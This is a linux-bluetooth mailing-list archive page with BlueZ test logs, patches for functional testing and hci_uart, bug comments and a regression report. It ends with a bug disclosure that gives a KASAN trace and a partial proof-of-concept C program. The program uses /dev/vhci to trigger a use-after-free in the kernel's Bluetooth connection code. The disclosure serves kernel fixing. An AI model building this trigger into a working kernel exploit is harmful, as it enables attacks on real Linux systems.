13:03:25 OUT host.0.0.bluetoothctl: [BlueZ 5.86]> [CHG] Device 70:1A:B8:73:99:BB Bonded: yes
13:03:26 OUT host.0.0.bluetoothctl: [BlueZ 5.86]> [CHG] Device 70:1A:B8:73:99:BB AddressType: public
13:03:26 OUT host.0.0.bluetoothctl: [BlueZ 5.86]> [CHG] Device 70:1A:B8:73:99:BB UUIDs: 0000110c-0000-1000-8000-00805f9b34fb
13:03:26 OUT host.0.0.bluetoothctl: [BlueZ 5.86]> [CHG] Device 70:1A:B8:73:99:BB UUIDs: 0000110e-0000-1000-8000-00805f9b34fb
13:03:26 DEBUG rpc.host.0.0 : client-reply
PASSED [100%]
------------------------------ live log teardown -------------------------------
13:03:26 OUT host.0.0.bluetoothctl: [BlueZ 5.86]> [CHG] Device 70:1A:B8:98:FF:qemu-system-x86_64: terminating on signal 15 from pid 149357 (python3)
======================= 1 passed, 4 deselected in 13.22s =======================
$ test/test-functional -k test_btmgmt --kernel=../linux --trace
============================= test session starts ==============================
platform linux -- Python 3.14.3, pytest-8.3.5, pluggy-1.6.0
rootdir: /home/pauli/prj/external/bluez/unit
configfile: pytest.ini
plugins: cov-5.0.0, forked-1.6.0, rerunfailures-15.0, timeout-2.4.0, xdist-3.7.0, hypothesis-6.123.0, flaky-3.8.1, anyio-4.12.1
collected 5 items / 4 deselected / 1 selected
test/functional/test_btmgmt_vm.py
>>>>>>>>>>>>>>>>>>>> PDB runcall (IO-capturing turned off) >>>>>>>>>>>>>>>>>>>>>
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(19)test_btmgmt_info()
-> (host,) = hosts
(Pdb) n
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(21)test_btmgmt_info()
-> result = host.call(
(Pdb) p host.bdaddr
'00:aa:01:00:00:42'
(Pdb) n
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(22)test_btmgmt_info()
-> run,
(Pdb) n
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(23)test_btmgmt_info()
-> [btmgmt, "--index", "0", "info"],
(Pdb) n
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(24)test_btmgmt_info()
-> stdout=subprocess.PIPE,
(Pdb) n
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(25)test_btmgmt_info()
-> stdin=subprocess.DEVNULL,
(Pdb) n
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(26)test_btmgmt_info()
-> encoding="utf-8",
(Pdb) n
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(21)test_btmgmt_info()
-> result = host.call(
(Pdb) n
> /home/pauli/prj/external/bluez/test/functional/test_btmgmt_vm.py(28)test_btmgmt_info()
-> assert result.returncode == 0
(Pdb) p result
CompletedProcess(args=['/home/pauli/prj/external/bluez/build/tools/btmgmt', '--index', '0', 'info'], returncode=0, stdout='hci0:\tPrimary controller\n\taddr 00:AA:01:00:00:42 version 11 manufacturer 1521 class 0x000000\n\tsupported settings: powered connectable fast-connectable discoverable bondable link-security ssp br/edr le advertising secure-conn debug-keys privacy static-addr phy-configuration cis-central cis-peripheral iso-broadcaster sync-receiver ll-privacy past-sender past-receiver \n\tcurrent settings: br/edr \n\tname \n\tshort name \n')
(Pdb) print(result.stdout)
hci0: Primary controller
addr 00:AA:01:00:00:42 version 11 manufacturer 1521 class 0x000000
supported settings: powered connectable fast-connectable discoverable bondable link-security ssp br/edr le advertising secure-conn debug-keys privacy static-addr phy-configuration cis-central cis-peripheral iso-broadcaster sync-receiver ll-privacy past-sender past-receiver
current settings: br/edr
name
short name
(Pdb) q
!!!!!!!!!!!!!!!!!!! _pytest.outcomes.Exit: Quitting debugger !!!!!!!!!!!!!!!!!!!
======================= 4 deselected in 75.91s (0:01:15) =======================
Pauli Virtanen (6):
doc: add functional/integration testing documentation
test: add functional/integration testing framework
build: add functional testing target
test: functional: impose Python code formatting
test: functional: add some Agent1 interface tests
test: functional: add basic obex file transfer tests
Makefile.am | 10 +
configure.ac | 22 ++
doc/test-functional.rst | 313 ++++++++++++++++++++++++
test/functional/__init__.py | 2 +
test/functional/conftest.py | 48 ++++
test/functional/requirements.txt | 2 +
test/functional/test_agent.py | 46 ++++
test/functional/test_bluetoothctl_vm.py | 152 ++++++++++++
test/functional/test_btmgmt_vm.py | 30 +++
test/functional/test_obex.py | 285 +++++++++++++++++++++
test/functional/test_tests.py | 23 ++
test/pytest.ini | 17 ++
test/test-functional | 21 ++
test/test-functional-attach | 7 +
14 files changed, 978 insertions(+)
create mode 100644 doc/test-functional.rst
create mode 100644 test/functional/__init__.py
create mode 100644 test/functional/conftest.py
create mode 100644 test/functional/requirements.txt
create mode 100644 test/functional/test_agent.py
create mode 100644 test/functional/test_bluetoothctl_vm.py
create mode 100644 test/functional/test_btmgmt_vm.py
create mode 100644 test/functional/test_obex.py
create mode 100644 test/functional/test_tests.py
create mode 100644 test/pytest.ini
create mode 100755 test/test-functional
create mode 100755 test/test-functional-attach
--
2.54.0
^ permalink raw reply
* [PATCH BlueZ v6 1/6] doc: add functional/integration testing documentation
From: Pauli Virtanen @ 2026-06-13 15:48 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Pauli Virtanen
In-Reply-To: <cover.1781365708.git.pav@iki.fi>
Add documentation for functional/integration test suite.
---
doc/test-functional.rst | 313 ++++++++++++++++++++++++++++++++++++++++
1 file changed, 313 insertions(+)
create mode 100644 doc/test-functional.rst
diff --git a/doc/test-functional.rst b/doc/test-functional.rst
new file mode 100644
index 000000000..35245da72
--- /dev/null
+++ b/doc/test-functional.rst
@@ -0,0 +1,313 @@
+===============
+test-functional
+===============
+
+**test-functional** [*OPTIONS*]
+
+DESCRIPTION
+===========
+
+**test-functional(1)** is used for functional testing of BlueZ and
+kernel using multiple virtual machine environments, connected by real
+or virtual controllers.
+
+It uses https://pypi.org/project/pytest-bluezenv as VM-based test
+framework. For details, see its documentation.
+
+QUICK EXAMPLE
+=============
+
+Install `qemu-system-x86_64` first. Then,
+
+.. code-block::
+
+ $ ./configure --enable-functional-testing --enable-testing --enable-tools
+ $ make -j8
+ $ python3 -mpip install -r test/functional/requirements.txt
+ $ test/test-functional --kernel-build -v
+
+OPTIONS
+=======
+
+The `test-functional` script simply runs `Pytest
+<https://pytest.org>`__ which can take the following options:
+https://docs.pytest.org/en/stable/reference/reference.html#command-line-flags
+
+The following additional options apply:
+
+``--list``
+ Output brief lists of existing tests.
+
+``--kernel=<image>``
+ Kernel image (or built Linux source tree root) to
+ use. See **test-runner(1)** and `tester.config` for required
+ kernel config.
+
+ If not provided, value from `FUNCTIONAL_TESTING_KERNEL`
+ environment variable is used. If none, no image is used.
+
+``--usb=hci0,hci1``
+ USB controllers to use in tests that require use of
+ real controllers.
+
+ If not provided, value from `FUNCTIONAL_TESTING_CONTROLLERS`
+ environment variable is used. If none, all USB controllers
+ with suitable permissions are considered.
+
+``--force-usb``
+ Force tests to use USB controllers instead of `btvirt`.
+
+``--bluez-build-dir=<path>``
+ Path to build directory where to search for BlueZ
+ executables.
+
+``--bluez-src-dir=<path>``
+ Path to build BlueZ source directory.
+
+``--log-filter=[+-]<pattern>,[+-]<pattern>,...``
+ Allow/deny lists
+ for filtering logging output. The pattern is a shell glob matching
+ to the logger names.
+
+``--no-log-reorder``
+ Don't reorder logs to timestamp order.
+
+``--vm-timeout=<seconds>``
+ Specify timeout for communication with VM hosts.
+
+``--btmon``
+ Launch btmon on all hosts to log events, and dump traffic to
+ test-bluezenv-\*.btsnoop
+
+``--kernel-build=no/use/auto/force``
+ Build a suitable kernel image from source.
+
+``--kernel-upstream=<GIT_URL>``
+ URL for Git clone of kernel sources.
+
+``--kernel-branch=<GIT_BRANCH>``
+ Git branch to build from.
+
+
+Tests that require kernel image or USB controllers are skipped if none
+are available. Normally, tests use `btvirt`.
+
+VM instances share a directory ``/run/shared`` with host machine,
+located on host usually in ``/tmp/bluez-func-test-*/shared-*``. Core
+dumps etc. are copied out from it before test instance is shut down.
+
+REQUIREMENTS
+============
+
+General
+-------
+
+The following are needed:
+
+- QEmu (x86_64)
+- ``dbus-daemon`` available
+
+Recommended:
+
+- KVM-enabled x86_64 host system
+- Preferably built BlueZ source tree
+- ``chronyd`` available
+- ``util-linux`` tools available
+- ``agetty`` available
+
+Python
+------
+
+The following Python packages are required:
+
+.. code-block::
+
+ pytest>=8
+ pytest-bluezenv==0.1.6
+
+To install them via pip::
+
+ python3 -m pip install -r test/functional/requirements.txt
+
+On Fedora / RHEL, the dependencies aside from `pytest-bluezenv` can be
+installed via::
+
+ sudo dnf install python3-pytest python3-pexpect python3-dbus
+
+Kernel
+------
+
+The **test-functional(1)** tool requires a kernel image with similar
+config as **test-runner(1)**. If given `--kernel-build` option, a
+suitable image is built from sources downloaded under
+`test/.pytest_cache`.
+
+Simplest setup is
+
+.. code-block::
+
+ cp ../bluez/doc/tester.config .config
+ make olddefconfig
+ make -j8
+
+To get log timestamps right, the kernel should have the following
+configuration enabled:
+
+.. code-block::
+
+ CONFIG_HYPERVISOR_GUEST=y
+ CONFIG_PARAVIRT=y
+ CONFIG_KVM_GUEST=y
+
+ CONFIG_PTP_1588_CLOCK=y
+ CONFIG_PTP_1588_CLOCK_KVM=y
+ CONFIG_PTP_1588_CLOCK_VMCLOCK=y
+
+USB
+---
+
+Some tests may require a hardware controller instead of the virtual `btvirt` one.
+
+EXAMPLES
+========
+
+Run all tests
+-------------
+
+.. code-block::
+
+ $ test/test-functional --kernel=/pathto/bzImage
+
+ $ export FUNCTIONAL_TESTING_KERNEL=/pathto/bzImage
+ $ test/test-functional
+
+Test output is logged in ``test-functional.log``.
+
+Show output during run
+----------------------
+
+.. code-block::
+
+ $ test/test-functional --log-cli-level=0
+
+Show only specific loggers:
+
+.. code-block::
+
+ $ test/test-functional --log-cli-level=0 --log-filter=rpc,host
+
+ $ test/test-functional --log-cli-level=0 --log-filter=*.bluetoothctl
+
+Filter out loggers:
+
+.. code-block::
+
+ $ test/test-functional --log-cli-level=0 --log-filter=-host
+
+ $ test/test-functional --log-cli-level=0 --log-filter=host,-host.*.1
+
+Run selected tests
+------------------
+
+.. code-block::
+
+ $ test/test-functional test/functional/test_cli_simple.py::test_bluetoothctl_script_show
+
+ $ test/test-functional -k test_bluetoothctl_script_show
+
+ $ test/test-functional -k 'test_btmgmt or test_bluetoothctl'
+
+Don't run tests with a given marker:
+
+.. code-block::
+
+ $ test/test-functional -m "not pipewire"
+
+Don't run known-failing tests:
+
+.. code-block::
+
+ $ test/test-functional -m "not xfail"
+
+Note that otherwise known-failing tests would be run, but with
+failures suppressed.
+
+Run previously failed and stop on failure
+-----------------------------------------
+
+.. code-block::
+
+ $ test/test-functional -x --ff
+
+List all tests
+--------------
+
+.. code-block::
+
+ $ test/test-functional --list
+
+Show errors from know-failing test
+----------------------------------
+
+.. code-block::
+
+ $ test/test-functional --runxfail -k test_btmgmt_info
+
+Redirect USB devices
+--------------------
+
+.. code-block::
+
+ $ test/test-functional --usb=hci0,hci1
+
+ $ export FUNCTIONAL_TESTING_CONTROLLERS=hci0,hci1
+ $ test/test-functional -vv
+
+This does not require running as root. Changing device permissions is
+sufficient. In verbose mode (``-vv``) some instructions are printed.
+
+Run all tests using the USB controllers:
+
+.. code-block::
+
+ $ test/test-functional --usb=hci0,hci1 --force-usb
+
+Run tests in parallel
+---------------------
+
+pytest-xdist is required for parallel execution. To run:
+
+.. code-block::
+
+ $ test/test-functional -n auto --dist loadgroup
+
+Logging in to a test VM instance
+--------------------------------
+
+While test is running:
+
+.. code-block::
+
+ $ test/test-functional-attach
+
+For this to be useful, usually, you need to pause the test
+e.g. by running with ``--trace`` option.
+
+To do it manually, when starting the tester will log a line like::
+
+ TTY: socat /tmp/bluez-func-test-q658swgi/bluez-func-test-tty-0 STDIO,rawer
+
+with the location of the socket where the serial is connected to.
+
+WRITING TESTS
+=============
+
+The functional tests are written in files (test modules) names
+`test/functional/test_*.py`. They are written using standard Pytest
+style. See https://docs.pytest.org/en/stable/getting-started.html
+
+See https://pypi.org/project/pytest-bluezenv/ for documentation of
+how to write VM-using tests.
+
+Use `Black <https://black.readthedocs.io/en/stable/>`__ to autoformat
+Python test code.
--
2.54.0
^ permalink raw reply related
* [PATCH] Bluetooth: hci_uart: clear HCI_UART_SENDING when write_work is canceled
From: Pauli Virtanen @ 2026-06-13 15:29 UTC (permalink / raw)
To: linux-bluetooth
Cc: Pauli Virtanen, marcel, luiz.dentz, 25181214217, linux-kernel,
stable
HCI_UART_SENDING bit in tx_state means write_work is pending and blocks
queueing it again. Currently this bit is not cleared when canceling the
work in hci_uart_close(), which blocks future writes when device is
reopened later if write_work was pending.
Fix by clearing HCI_UART_SENDING when canceling the work.
Also make clearing of tx_skb safe by using disable_work_sync +
enable_work instead of just cancel_work_sync. hci_uart_flush() purges
the proto tx queue so we can cancel the pending write_work there,
instead of doing it just in hci_uart_close().
Fixes: c1bb9336ae6b ("Bluetooth: hci_uart: fix UAFs and race conditions in close and init paths")
Link: https://lore.kernel.org/linux-bluetooth/07e0a28650773abec711ee492fdb1bf5d21a6c98.camel@iki.fi/
Cc: stable@vger.kernel.org
Signed-off-by: Pauli Virtanen <pav@iki.fi>
---
drivers/bluetooth/hci_ldisc.c | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
diff --git a/drivers/bluetooth/hci_ldisc.c b/drivers/bluetooth/hci_ldisc.c
index 47f4902b40b4..b0708ec9751c 100644
--- a/drivers/bluetooth/hci_ldisc.c
+++ b/drivers/bluetooth/hci_ldisc.c
@@ -239,10 +239,17 @@ static int hci_uart_flush(struct hci_dev *hdev)
BT_DBG("hdev %p tty %p", hdev, tty);
+ disable_work_sync(&hu->write_work);
+
if (hu->tx_skb) {
kfree_skb(hu->tx_skb); hu->tx_skb = NULL;
}
+ if (test_and_clear_bit(HCI_UART_SENDING, &hu->tx_state))
+ wake_up_bit(&hu->tx_state, HCI_UART_SENDING);
+
+ enable_work(&hu->write_work);
+
/* Flush any pending characters in the driver and discipline. */
tty_ldisc_flush(tty);
tty_driver_flush_buffer(tty);
@@ -271,12 +278,8 @@ static int hci_uart_open(struct hci_dev *hdev)
/* Close device */
static int hci_uart_close(struct hci_dev *hdev)
{
- struct hci_uart *hu = hci_get_drvdata(hdev);
-
BT_DBG("hdev %p", hdev);
- cancel_work_sync(&hu->write_work);
-
hci_uart_flush(hdev);
hdev->flush = NULL;
return 0;
--
2.54.0
^ permalink raw reply related
* [PATCH BlueZ] emulator: btvirt: support debug for -s socket server
From: Pauli Virtanen @ 2026-06-13 15:20 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Pauli Virtanen
Support btdev debug -d when using socket server -s.
$ btvirt -d -s
...
bredrle: host10: > 01 13 0c f8 00 00 00 00 00 00 00 00 00 00 00 00 ................
bredrle: host10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
---
emulator/main.c | 16 ++++++++++++++++
emulator/server.c | 45 +++++++++++++++++++++++++++++++++++++++++++++
emulator/server.h | 5 +++++
3 files changed, 66 insertions(+)
diff --git a/emulator/main.c b/emulator/main.c
index 09d6e9adb..c21640adc 100644
--- a/emulator/main.c
+++ b/emulator/main.c
@@ -80,6 +80,13 @@ static void vhci_debug(const char *str, void *user_data)
printf("vhci%u: %s\n", i, str);
}
+static void server_debug(const char *str, void *user_data)
+{
+ const char *name = user_data;
+
+ printf("%s: %s\n", name, str);
+}
+
int main(int argc, char *argv[])
{
struct server *server1;
@@ -231,6 +238,15 @@ int main(int argc, char *argv[])
server5 = server_open_unix(SERVER_TYPE_MONITOR, path);
if (!server5)
fprintf(stderr, "Failed to open monitor server\n");
+
+ if (debug_enabled) {
+ server_set_debug(server1, server_debug, "bredrle",
+ NULL);
+ server_set_debug(server2, server_debug, "bredr", NULL);
+ server_set_debug(server3, server_debug, "amp", NULL);
+ server_set_debug(server4, server_debug, "le", NULL);
+ server_set_debug(server5, server_debug, "mon", NULL);
+ }
}
if (tcp_port) {
diff --git a/emulator/server.c b/emulator/server.c
index 7790867b7..4538e8f04 100644
--- a/emulator/server.c
+++ b/emulator/server.c
@@ -39,10 +39,14 @@ struct server {
enum server_type type;
uint16_t id;
int fd;
+ server_debug_func_t debug_callback;
+ server_destroy_func_t debug_destroy;
+ void *debug_data;
};
struct client {
int fd;
+ struct server *server;
struct btdev *btdev;
uint8_t *pkt_data;
uint8_t pkt_type;
@@ -223,6 +227,18 @@ static int accept_client(int fd)
return nfd;
}
+static void dev_debug(const char *str, void *user_data)
+{
+ struct client *client = user_data;
+ struct server *server = client->server;
+ char buf[512];
+
+ if (server->debug_callback) {
+ snprintf(buf, sizeof(buf), "host%d: %s", client->fd, str);
+ server->debug_callback(buf, server->debug_data);
+ }
+}
+
static void server_accept_callback(int fd, uint32_t events, void *user_data)
{
struct server *server = user_data;
@@ -240,6 +256,8 @@ static void server_accept_callback(int fd, uint32_t events, void *user_data)
memset(client, 0, sizeof(*client));
+ client->server = server;
+
client->fd = accept_client(server->fd);
if (client->fd < 0) {
free(client);
@@ -271,6 +289,7 @@ static void server_accept_callback(int fd, uint32_t events, void *user_data)
}
btdev_set_send_handler(client->btdev, client_write_callback, client);
+ btdev_set_debug(client->btdev, dev_debug, client, NULL);
done:
if (mainloop_add_fd(client->fd, EPOLLIN, client_read_callback,
@@ -413,4 +432,30 @@ void server_close(struct server *server)
return;
mainloop_remove_fd(server->fd);
+
+ if (server->debug_destroy)
+ server->debug_destroy(server->debug_data);
+
+ server->debug_callback = NULL;
+ server->debug_destroy = NULL;
+ server->debug_data = NULL;
+
+ free(server);
}
+
+bool server_set_debug(struct server *server, server_debug_func_t callback,
+ void *user_data, server_destroy_func_t destroy)
+{
+ if (!server)
+ return false;
+
+ if (server->debug_destroy)
+ server->debug_destroy(server->debug_data);
+
+ server->debug_callback = callback;
+ server->debug_destroy = destroy;
+ server->debug_data = user_data;
+
+ return true;
+}
+
diff --git a/emulator/server.h b/emulator/server.h
index 7d6b7be74..1844a9871 100644
--- a/emulator/server.h
+++ b/emulator/server.h
@@ -24,3 +24,8 @@ struct server;
struct server *server_open_unix(enum server_type type, const char *path);
struct server *server_open_tcp(enum server_type type, uint16_t port);
void server_close(struct server *server);
+
+typedef void (*server_debug_func_t)(const char *str, void *user_data);
+typedef void (*server_destroy_func_t)(void *user_data);
+bool server_set_debug(struct server *server, server_debug_func_t callback,
+ void *user_data, server_destroy_func_t destroy);
--
2.54.0
^ permalink raw reply related
* [Bug 73081] Fail to setup Bluetooth on Dell Venue 11 Pro
From: bugzilla-daemon @ 2026-06-13 15:17 UTC (permalink / raw)
To: linux-bluetooth
In-Reply-To: <bug-73081-62941@https.bugzilla.kernel.org/>
https://bugzilla.kernel.org/show_bug.cgi?id=73081
--- Comment #12 from Dmitry Khromov (icechrome@gmail.com) ---
@Hytham, noted.
First, please disregard everything I said about `CONFIG_SERIAL_DEV_BUG` -- got
another Baytrail device mixed up with this one, my bad. That said, the actual
problem, according to my notes, is the UART's `baud_base` (2764800), resulting
in framing errors with common baud rates (i.e. 3000000 and 3500000). The speed
the controller is pre-set to is 3768000. I've dug the tablet up and with
semi-recent musl-based Void rootfs and kernel 6.18.35 (CONFIG_SERIAL_DEV_BUS=m,
btw) got `btattach -B /dev/ttyS1 -P ath3k` working by manually setting the
speed with a `TCSETS2` ioctl. I’ve managed to pair and test some BT
peripherals.
@Paul, since, ultimately, this isn’t a kernel bug (though a patch for
rfkill-gpio is still required), should this discussion be continued on GitHub?
--
You may reply to this email to add a comment.
You are receiving this mail because:
You are the assignee for the bug.
^ permalink raw reply
* [Bug 73081] Fail to setup Bluetooth on Dell Venue 11 Pro
From: bugzilla-daemon @ 2026-06-13 13:08 UTC (permalink / raw)
To: linux-bluetooth
In-Reply-To: <bug-73081-62941@https.bugzilla.kernel.org/>
https://bugzilla.kernel.org/show_bug.cgi?id=73081
--- Comment #11 from Hytham (hytham@gmail.com) ---
Hi Dmitry,
I followed the instructions in https://github.com/bluez/bluez/issues/2222 to
copy the firmware to this directory and rebooted which solved the Wifi issue
but Bluetooth is yet not working. I provided additional logs in the bluez
ticket.
Thanks,
Hytham
--
You may reply to this email to add a comment.
You are receiving this mail because:
You are the assignee for the bug.
^ permalink raw reply
* [REGRESSION] Bluetooth: hci_uart: fix UAFs and race conditions in close and init paths
From: Pauli Virtanen @ 2026-06-13 12:58 UTC (permalink / raw)
To: patchwork-bot+bluetooth, w15303746062
Cc: luiz.dentz, pmenzel, marcel, linux-bluetooth, linux-kernel,
stable, 25181214217
In-Reply-To: <177920280488.2756414.8251481561878776667.git-patchwork-notify@kernel.org>
Hi,
ti, 2026-05-19 kello 15:00 +0000, patchwork-bot+bluetooth@kernel.org
kirjoitti:
> Hello:
>
> This patch was applied to bluetooth/bluetooth-next.git (master)
> by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:
>
> On Mon, 18 May 2026 10:49:49 +0800 you wrote:
> > From: Mingyu Wang <25181214217@stu.xidian.edu.cn>
> >
> > Vulnerabilities leading to Use-After-Free (UAF) and Null Pointer
> > Dereference (NPD) conditions were observed in the lifecycle management
> > of hci_uart.
> >
> > The primary issue arises because the workqueues (init_ready and
> > write_work) are only flushed/cancelled if the HCI_UART_PROTO_READY
> > flag is set during TTY close. If a hangup occurs before setup completes,
> > hci_uart_tty_close() skips the teardown of these workqueues and
> > proceeds to free the `hu` struct. When the scheduled work executes
> > later, it blindly dereferences the freed `hu` struct.
> >
> > [...]
>
> Here is the summary with links:
> - [v9] Bluetooth: hci_uart: fix UAFs and race conditions in close and init paths
> https://git.kernel.org/bluetooth/bluetooth-next/c/7db62a762f61
>
> You are awesome, thank you!
This patch (c1bb9336ae6b54a5f6a353c4bd4ed9a4307e429b upstream) appears
to cause a regression in the following test case, which does
btmgmt power off; btmgmt power on; in a loop.
At some point response to Reset command is not received, and the
(emulated) controller can no longer be powered on.
Found by noting that newer kernel versions fail automated testing.
Kernel built with the bluez tester config
https://git.kernel.org/pub/scm/bluetooth/bluez.git/tree/doc/tester.config
With c1bb9336ae6b54a5f6a353c4bd4ed9a4307e429b reverted, the power
off/on toggle continues indefinitely without errors.
Didn't investigate so far why precisely it starts failing.
$ cd bluez
$ git rev-parse HEAD
40f2e34b373944cf8142154881ce69f92c2be68d
$ make tools/test-runner emulator/btvirt
$ bash xtest.sh
...
hci0 Set Powered complete, settings: powered br/edr
hci0 Set Powered complete, settings: br/edr
hci0 Set Powered complete, settings: powered br/edr
hci0 Set Powered complete, settings: br/edr
Bluetooth: hci0: Opcode 0x0c03 failed: -110
Set Powered for hci0 failed with status 0x05 (Authentication Failed)
Set Powered for hci0 failed with status 0x05 (Authentication Failed)
Process 38 exited with status 0
reboot: Restarting system
reboot: machine restart
Set Powered for hci0 failed with status 0x05 (Authentication Failed)
Set Powered for hci0 failed with status 0x05 (Authentication Failed)
FAIL
----8<---- xtest.sh
#!/bin/sh
KERNEL=../linux/arch/x86_64/boot/bzImage
cat <<EOF > xtest-run.sh
for j in \$(seq 1 100); do
./tools/btmgmt power off 2>&1 | tee /tmp/test.log
./tools/btmgmt power on 2>&1 | tee -a /tmp/test.log
if grep 'Authentication Failed' /tmp/test.log; then break; fi
done
EOF
./emulator/btvirt -s &
trap 'kill $(jobs -p)' EXIT
./tools/test-runner -k $KERNEL -u/tmp/bt-server-bredrle -- bash xtest-run.sh 2>&1 | tee xtest.log
if grep 'Authentication Failed' xtest.log; then
echo "FAIL"
exit 1
else
echo "OK"
exit 0
fi
----8<----
--
Pauli Virtanen
^ permalink raw reply
* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: XIAO WU @ 2026-06-13 10:40 UTC (permalink / raw)
To: Siwei Zhang, Luiz Augusto von Dentz; +Cc: linux-bluetooth
In-Reply-To: <20260611152039.2176565-1-oss@fourdim.xyz>
Hi Siwei,
On Thu, 11 Jun 2026 11:19:52 -0400, Siwei Zhang wrote:
> Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
This patch correctly fixes the NULL dereference in hci_abort_conn() by
tracking in-flight create commands with HCI_CONN_CREATE.
I noticed a Sashiko review[1] of this patch flagged that the new
clear_bit(HCI_CONN_CREATE, &conn->flags) calls after
__hci_cmd_sync_status_sk() introduce a use-after-free. I wrote a PoC
to verify this and was able to trigger it reliably on a KASAN-enabled
kernel.
The race:
If the controller rejects the ACL connection attempt (e.g. via
Command Status with a non-zero status), the RX thread processes the
rejection in hci_cs_create_conn() → hci_conn_del(), freeing the
hci_conn object. Shortly after, __hci_cmd_sync_status_sk() returns
the error to hci_acl_create_conn_sync() on the hci_cmd_sync_work
worker, which then writes to the freed conn via clear_bit().
My PoC opens /dev/vhci, creates a virtual controller that responds to
HCI_OP_CREATE_CONN with Command Status error 0x2e, powers on the
controller, and triggers an L2CAP connect. This reliably hits:
==================================================================
BUG: KASAN: slab-use-after-free in hci_acl_create_conn_sync+0x3c6/0x600
Write of size 8 at addr ffff88802eed2950 by task kworker/u11:0/57
Workqueue: hci0 hci_cmd_sync_work
Call Trace:
<TASK>
dump_stack_lvl+0x116/0x1f0
print_report+0xf4/0x600
kasan_report+0xe0/0x110
kasan_check_range+0x100/0x1b0
hci_acl_create_conn_sync+0x3c6/0x600 <-- clear_bit on freed conn
hci_cmd_sync_work+0x1b0/0x480
process_one_work+0xa20/0x1c50
worker_thread+0x6df/0xf30
kthread+0x387/0x4a0
Allocated by task 9349 (L2CAP connect):
__hci_conn_add+0xfd/0x1df0
hci_conn_add_unset+0x7b/0x130
hci_connect_acl+0x4aa/0x7c0
l2cap_chan_connect+0x779/0x2160
l2cap_sock_connect+0x381/0x7a0
Freed by task 9353 (RX thread):
kfree+0x171/0x720
device_release+0xd7/0x280
hci_conn_del_sysfs+0x17b/0x1a0
hci_conn_del+0x685/0x11d0
hci_cs_create_conn+0x1e9/0x430 <-- controller rejection
hci_cmd_status_evt+0x267/0x790
hci_event_packet+0x521/0xce0
hci_rx_work+0x2ce/0x1030
==================================================================
The race window:
hci_acl_create_conn_sync() hci_rx_work()
========================== ==============
__hci_cmd_sync_status_sk(...) hci_cs_create_conn()
→ waiting for controller reply → hci_conn_del()
→ kfree(conn)
clear_bit(HCI_CONN_CREATE,
&conn->flags); ← UAF
The same pattern exists in hci_le_create_conn_sync().
One possible fix: take a reference on conn before the cmd_sync call
and drop it after clear_bit(), or move the clear_bit to a point where
the conn is still guaranteed to be alive. The Sashiko review[1]
points out a few other issues in the same patch as well.
I wrote the following PoC. It opens /dev/vhci, emulates a controller
that rejects CREATE_CONN, powers up via MGMT, and triggers an L2CAP
connect to exercise the race.
---8<--- poc.c ---
/*
* PoC for UAF in hci_acl_create_conn_sync()
*
* Opens /dev/vhci, creates a virtual HCI controller that responds to
* HCI_OP_CREATE_CONN with Command Status 0x2e
(HCI_ERROR_COMMAND_DISALLOWED).
* The RX thread processes this via hci_cs_create_conn() and frees the
conn,
* while the hci_cmd_sync_work worker then hits the UAF in clear_bit().
*
* Build: gcc -Wall -O2 -o poc poc.c -lpthread
* Run: ./poc (root, KASAN-enabled kernel, vhci loaded)
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <pthread.h>
#include <stdint.h>
#define HCI_COMMAND_PKT 0x01
#define HCI_EVENT_PKT 0x04
#define HCI_VENDOR_PKT 0xff
#define HCI_EV_CMD_COMPLETE 0x0e
#define HCI_EV_CMD_STATUS 0x0f
#define HCI_OP_CREATE_CONN 0x0405
#define HCI_OP_RESET 0x0c03
#define BTPROTO_L2CAP 0
#define BTPROTO_HCI 1
#define BDADDR_BREDR 0x00
#define HCI_CHANNEL_CONTROL 3
struct sockaddr_l2 {
uint16_t l2_family, l2_psm;
uint8_t l2_bdaddr[6];
uint16_t l2_cid;
uint8_t l2_bdaddr_type;
} __attribute__((packed));
struct sockaddr_hci {
uint16_t hci_family, hci_dev, hci_channel;
};
static volatile int vhci_fd = -1;
static volatile int saw_conn = 0;
static int send_evt(uint8_t e, const void *d, uint8_t dl)
{
uint8_t b[512];
b[0] = HCI_EVENT_PKT; b[1] = e; b[2] = dl;
if (dl && d) memcpy(b + 3, d, dl);
return write(vhci_fd, b, 3 + dl);
}
static int read_cmd(uint16_t *o, uint8_t *p, int *pl, int tmo)
{
uint8_t b[8192];
struct pollfd pf = {.fd = vhci_fd, .events = POLLIN};
int r = poll(&pf, 1, tmo);
if (r <= 0) return -1;
r = read(vhci_fd, b, sizeof(b));
if (r < 4 || b[0] != HCI_COMMAND_PKT) return -1;
*o = b[1] | (b[2] << 8); *pl = b[3];
if (p && *pl) memcpy(p, b + 4, (*pl < r - 4) ? *pl : r - 4);
return 1;
}
static void send_ok(uint16_t o) { uint8_t r[1] = {0};
send_evt(HCI_EV_CMD_COMPLETE, r, 1); }
static void send_cc(uint16_t o, const void *rd, uint8_t rl) {
send_evt(HCI_EV_CMD_COMPLETE, rd, rl); }
static void send_cs(uint16_t o, uint8_t s) {
uint8_t p[4] = {s, 1, o & 0xff, (o >> 8) & 0xff};
send_evt(HCI_EV_CMD_STATUS, p, 4);
}
static void *init_thr(void *a)
{
(void)a;
uint16_t o; uint8_t p[256]; int pl;
while (1) {
if (read_cmd(&o, p, &pl, 2000) < 0) { usleep(50000); continue; }
if (o == HCI_OP_CREATE_CONN) {
/* Reject with Command Status error 0x2e */
send_cs(o, 0x2e);
saw_conn = 1;
continue;
}
if (o == HCI_OP_RESET) { send_ok(o); continue; }
/* ... handle many other HCI commands for init ... */
send_ok(o);
}
return 0;
}
